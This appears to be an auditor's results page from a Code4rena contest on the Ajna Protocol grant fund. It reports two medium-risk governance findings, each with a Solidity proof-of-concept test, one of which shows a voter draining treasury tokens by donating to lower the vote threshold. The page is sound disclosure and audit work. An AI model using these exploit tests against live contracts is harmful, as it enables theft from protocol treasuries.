Ajna Protocol - ktg's results

A peer to peer, oracleless, permissionless lending protocol with no governance, accepting both fungible and non fungible tokens as collateral.

General Information

Platform: Code4rena

Start Date: 03/05/2023

Pot Size: $60,500 USDC

Total HM: 25

Participants: 114

Period: 8 days

Judge: Picodes

Total Solo HM: 6

Id: 234

League: ETH

Ajna Protocol

Findings Distribution

Researcher Performance

Rank: 36/114

Findings: 2

Award: $294.50

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: bytes032

Also found by: 7siech, Ruhum, ktg

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
edited-by-warden
duplicate-285

Awards

171.2239 USDC - $171.22

External Links

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L164-#L178

Vulnerability details

Impact

A user could rig an Extraordinary Funding via free "donation" to treasury

Proof of Concept

The limit for tokensRequested is currently calculated as below:

// succeeded if proposal's votes received doesn't exceed the minimum threshold required (votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage)) && // succeeded if tokens requested are available for claiming from the treasury (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage))

A user with significant amount of Ajna tokens could reduce the voting required by transferring his tokens to treasury (and because non-treasury = totalSupply - treasury) so _getSliceOfNonTreasury(minThresholdPercentage) and votesReceived minimum threshold is lowered; and also his voting power is not decreased due to the tranfer.

Let's take an example: In this case the total of Ajna tokens denoted by A.

Suppose treasury = 0.5A (50%) and non-treasury = 0.5A (also 50%) Alice has 0.1A tokens Alice then make a propose with tokensRequested (budget) = 0.2A Suppose that she received 0.4A (0.3A votes from others and 0.1A votes from herself). The proposal is still not successful since the condition is votesReceived >=tokensRequested_ + 50% non-treasury = 0.2A + 0.5*0.5A = 0.45A

Alice now transfer 0.1A to treasury, treasury now = 0.6A, non-treasury = 0.4A The above condition becomes: votesReceived >=tokensRequested_ + 50% non-treasury = 0.2A + 0.5*0.4A = 0.4A. The proposal is succeeded, Alice can now withdraw 0.2A tokens and profit 0.1A tokens.

Below is a POC for the above scenario:

// SPDX-License-Identifier: MIT pragma solidity 0.8.16; import { GrantFund } from "../../src/grants/GrantFund.sol"; import { IExtraordinaryFunding } from "../../src/grants/interfaces/IExtraordinaryFunding.sol"; import { IFunding } from "../../src/grants/interfaces/IFunding.sol"; import { GrantFundTestHelper } from "../utils/GrantFundTestHelper.sol"; import { IAjnaToken } from "../utils/IAjnaToken.sol"; import { DrainGrantFund } from "../interactions/DrainGrantFund.sol"; contract ExtraordinaryFundingRigTest is GrantFundTestHelper { IAjnaToken internal _token; GrantFund internal _grantFund; // Ajna token Holder at the Ajna contract creation on mainnet address internal _tokenDeployer = 0x666cf594fB18622e1ddB91468309a7E194ccb799; address internal _tokenHolder1 = makeAddr("_tokenHolder1"); address internal _tokenHolder2 = makeAddr("_tokenHolder2"); // at this block on mainnet, all ajna tokens belongs to _tokenDeployer uint256 internal _startBlock = 16354861; function setUp() external { vm.createSelectFork(vm.envString("ETH_RPC_URL"), _startBlock); vm.startPrank(_tokenDeployer); // Ajna Token contract address on mainnet _token = IAjnaToken(0x9a96ec9B57Fb64FbC60B423d1f4da7691Bd35079); // deploy growth fund contract _grantFund = new GrantFund(); // treasury is 50% of Ajna token totalSupply changePrank(_tokenDeployer); _token.approve(address(_grantFund), 1_000_000_000 * 1e18); _grantFund.fundTreasury(1_000_000_000 * 1e18); // _tokenHolder1 hold 10% of Ajna token // _tokenHolder2 hold 30% of Ajna token _token.transfer(_tokenHolder1, 0.1 *2_000_000_000 * 1e18 ); _token.transfer(_tokenHolder2, 0.3 *2_000_000_000 * 1e18 ); } function testExtraordinaryRig() external { // The total balance is 2,000,000,000 * 1e18 and treasury is 1_000,000,000 * 1e18 // Balance of _tokenHolder1 is 200_000_000 which is 10% of total Ajna tokens // Balance of _tokenHolder2 is 600_000_000 which is 30% of total Ajna tokens uint256 balanceOfHolder1Before = _token.balanceOf(_tokenHolder1); assertEq(_token.totalSupply(), 2_000_000_000 * 1e18); assertEq(_grantFund.treasury(), 1_000_000_000 * 1e18); assertEq(balanceOfHolder1Before, 200_000_000* 1e18); assertEq(_token.balanceOf(_tokenHolder2), 600_000_000* 1e18); // _tokenHolder1 and _tokenHolder2 delegate votes to themselves changePrank(_tokenHolder1); _token.delegate(_tokenHolder1); changePrank(_tokenHolder2); _token.delegate(_tokenHolder2); vm.roll(_startBlock + 50); address[] memory targets = new address[](1); targets[0] = address(_token); uint256[] memory values = new uint256[](1); values[0] = 0; bytes[] memory calldatas = new bytes[](1); calldatas[0] = abi.encodeWithSignature( "transfer(address,uint256)", _tokenHolder1, 400_000_000 * 1e18 ); // create and submit proposal for 400_000_000 * 1e18 tokens (which is 20% of total Ajna tokens) TestProposalExtraordinary memory testProposal = _createProposalExtraordinary( _grantFund, _tokenHolder1, block.number + 100_000, targets, values, calldatas, "Extraordinary Proposal for Ajna token transfer to tester address" ); vm.roll(_startBlock + 150); // _tokenHolder2, 30% of the total Ajna tokens votes for the proposal _extraordinaryVote(_grantFund, _tokenHolder2, testProposal.proposalId, 1); // check proposal state ( uint256 proposalId, , , uint128 tokensRequested, uint120 votesReceived, bool executed ) = _grantFund.getExtraordinaryProposalInfo(testProposal.proposalId); assertEq(votesReceived, 600_000_000* 1e18); // votesReceived is 600_000_000 * 1e18, but the requirement is // votesReceived >= tokensRequested + 50% (non-treasury) = 900_000_000 * 1e18 // so the status is still active, not succeeded IFunding.ProposalState proposalState = _grantFund.state(testProposal.proposalId); assertEq(uint8(proposalState), uint8(IFunding.ProposalState.Active)); // _tokenHolder1 "donate" his 200_000_000 * 1e18 tokens to treasury, // reduce the required votes to 800_000_000 * 1e18 changePrank(_tokenHolder1); _token.approve(address(_grantFund), 200_000_000 * 1e18); _grantFund.fundTreasury(200_000_000 * 1e18); // _tokenHolder1 still has voting after "donating" to treasury _extraordinaryVote(_grantFund, _tokenHolder1, testProposal.proposalId, 1); proposalState = _grantFund.state(testProposal.proposalId); assertEq(uint8(proposalState), uint8(IFunding.ProposalState.Succeeded)); // execute proposal _executeExtraordinaryProposal(_grantFund, _token, testProposal); // _tokenHolder1 profits 200_000_000 * 1e18 Ajna tokens uint256 balanceOfHolder1After = _token.balanceOf(_tokenHolder1); assertEq(balanceOfHolder1After - balanceOfHolder1Before, 200_000_000 * 1e18); } }

Tools Used

Manual review

This issue is due to the fact that required vote limit could be lowered and user can preserve their voting power even after donating to the treasury. I recommend the protocol should stop donation feature while there are active proposals.

Assessed type

Invalid Validation

#0 - c4-judge

2023-05-18T10:04:37Z

Picodes marked the issue as duplicate of #285

#1 - c4-judge

2023-05-30T19:07:08Z

Picodes marked the issue as satisfactory

#2 - c4-judge

2023-05-30T19:11:30Z

Picodes changed the severity to 2 (Med Risk)

Findings Information

🌟 Selected for report: 0xRobocop

Also found by: Dug, ktg, rvierdiiev, sces60107

Labels

bug
2 (Med Risk)
satisfactory
sponsor confirmed
duplicate-164

Awards

123.2812 USDC - $123.28

External Links

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L173

Vulnerability details

Impact

  • Proposal can have budget larger than specified in white paper

Proof of Concept

According to the white paper in this link https://www.ajna.finance/pdf/Ajna_Protocol_Whitepaper_03-10-2023.pdf. Section 9.2.2 Extraordinary Funding Mechanism (EFM) specifies that This mechanism works by allowing up to the percentage of non-treasury tokens, minimum threshold, that vote affirmatively to be removed from the treasury. An example is given:

If 51% of non-treasury tokens vote affirmatively for a proposal, up to 1% of the treasury may be withdrawn by the proposal

However, function _extraordinaryProposalSucceeded is implemented as follow:

function _extraordinaryProposalSucceeded( uint256 proposalId_, uint256 tokensRequested_ ) internal view returns (bool) { uint256 votesReceived = uint256(_extraordinaryFundingProposals[proposalId_].votesReceived); uint256 minThresholdPercentage = _getMinimumThresholdPercentage(); return // succeeded if proposal's votes received doesn't exceed the minimum threshold required (votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage)) && // succeeded if tokens requested are available for claiming from the treasury (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage)) ; }

The first condition votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage), meaning tokenRequested_ limit is votesReceived - _getSliceOfNonTreasury(minThresholdPercentage)

So if minThresholdPercentage is 50% and 51% of non-treasury tokens vote affirmatively for a proposal like in the above example, the limit of tokenRequested_ is (51% non-treasury - 50% non-treasury) = 1% non-treasury, so up to 1% of the treasury may be withdrawn by the proposal is not correct, it's actually 1% of the non-treasury.

Below is a POC, in that the above example is reflected: Total tokens supply is 2_000_000_000 * 1e18 Treasury is 500_000_000 * 1e18 51% of non-treasury (765_000_000* 1e18) votes for the proposal. However, a proposal for 15_000_000 * 1e18 (3% of treasury) is executed successfully.

// SPDX-License-Identifier: MIT pragma solidity 0.8.16; import { GrantFund } from "../../src/grants/GrantFund.sol"; import { IExtraordinaryFunding } from "../../src/grants/interfaces/IExtraordinaryFunding.sol"; import { IFunding } from "../../src/grants/interfaces/IFunding.sol"; import { GrantFundTestHelper } from "../utils/GrantFundTestHelper.sol"; import { IAjnaToken } from "../utils/IAjnaToken.sol"; import { DrainGrantFund } from "../interactions/DrainGrantFund.sol"; contract ExtraordinaryFundingThresholdTest is GrantFundTestHelper { IAjnaToken internal _token; GrantFund internal _grantFund; // Ajna token Holder at the Ajna contract creation on mainnet address internal _tokenDeployer = 0x666cf594fB18622e1ddB91468309a7E194ccb799; address internal _tokenHolder1 = makeAddr("_tokenHolder1"); address[] internal _votersArr = [_tokenHolder1]; // at this block on mainnet, all ajna tokens belongs to _tokenDeployer uint256 internal _startBlock = 16354861; function setUp() external { vm.createSelectFork(vm.envString("ETH_RPC_URL"), _startBlock); vm.startPrank(_tokenDeployer); // Ajna Token contract address on mainnet _token = IAjnaToken(0x9a96ec9B57Fb64FbC60B423d1f4da7691Bd35079); // deploy growth fund contract _grantFund = new GrantFund(); // initial minter distributes treasury to grantFund changePrank(_tokenDeployer); _token.approve(address(_grantFund), 500_000_000 * 1e18); _grantFund.fundTreasury(500_000_000 * 1e18); // transfer 51% of the non-treasury tokens to _tokenHolder1 // which is 51% * (2_000_000_000 - 500_000_000) * 1e18 = 765_000_000 * 1e18 tokens _token.transfer(_tokenHolder1, 0.51 *(2_000_000_000 - 500_000_000) * 1e18 ); } function testExtraordinaryThreshold() external { // The total balance is 2,000,000,000 * 1e18 and treasury is 500,000,000 * 1e18 // also the tokens for _tokenHolder1 is 765_000_000* 1e18 (51% of non-treasury) uint256 balanceOfHolder1Before = _token.balanceOf(_tokenHolder1); assertEq(_token.totalSupply(), 2_000_000_000 * 1e18); assertEq(_grantFund.treasury(), 500_000_000 * 1e18); assertEq(balanceOfHolder1Before,765_000_000* 1e18); // Delegate of tokenHolder1 for themselves changePrank(_tokenHolder1); _token.delegate(_tokenHolder1); vm.roll(_startBlock + 50); address[] memory targets = new address[](1); targets[0] = address(_token); uint256[] memory values = new uint256[](1); values[0] = 0; bytes[] memory calldatas = new bytes[](1); calldatas[0] = abi.encodeWithSignature( "transfer(address,uint256)", _tokenHolder1, 15_000_000 * 1e18 ); // create and submit proposal for 15_000_000 * 1e18 tokens, which is 3% of the treasury TestProposalExtraordinary memory testProposal = _createProposalExtraordinary( _grantFund, _tokenHolder1, block.number + 100_000, targets, values, calldatas, "Extraordinary Proposal for Ajna token transfer to tester address" ); vm.roll(_startBlock + 150); // _tokenHolder1, 51% of non-treasury votes on the proposal _extraordinaryVote(_grantFund, _tokenHolder1, testProposal.proposalId, 1); IFunding.ProposalState proposalState = _grantFund.state(testProposal.proposalId); assertEq(uint8(proposalState), uint8(IFunding.ProposalState.Succeeded)); // execute proposal _executeExtraordinaryProposal(_grantFund, _token, testProposal); // 15_000_000 (3% of treasury) is transferred to _tokenHolder1 uint256 balanceOfHolder1After = _token.balanceOf(_tokenHolder1); assertEq(balanceOfHolder1After - balanceOfHolder1Before, 15_000_000 * 1e18); } }

Tools Used

Manual review

I recommend changing the formula to limit tokenRequested_ to 1% to treasury.

Assessed type

Invalid Validation

#0 - c4-judge

2023-05-17T12:31:50Z

Picodes marked the issue as duplicate of #294

#1 - c4-judge

2023-05-17T12:32:19Z

Picodes marked the issue as selected for report

#2 - c4-sponsor

2023-05-19T18:57:21Z

MikeHathaway marked the issue as sponsor confirmed

#3 - c4-judge

2023-05-30T22:41:54Z

Picodes marked issue #164 as primary and marked this issue as a duplicate of 164

#4 - c4-judge

2023-05-31T14:10:34Z

Picodes marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter